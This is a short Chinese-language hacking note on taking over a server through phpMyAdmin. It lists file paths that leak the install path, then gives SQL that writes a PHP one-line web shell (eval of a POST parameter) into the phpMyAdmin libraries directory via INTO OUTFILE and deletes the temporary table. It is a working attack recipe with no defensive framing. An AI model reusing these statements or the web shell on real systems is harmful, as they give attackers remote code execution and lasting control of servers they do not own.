phpmyadmin的提权

一:

暴路径:

libraries/lect_lang.lib.php

themes/darkblue_orange/layout.inc.php

二:提权

选择一个Database.运行以下语句.
----start code---

Create TABLE a (cmd text NOT NULL);

Insert INTO a (cmd) VALUES(''<?php eval($_POST[1]);?>'');

select cmd from a into outfile ''D:/phpMyAdmin/libraries/d.php'';

Drop TABLE IF EXISTS a;

----end code---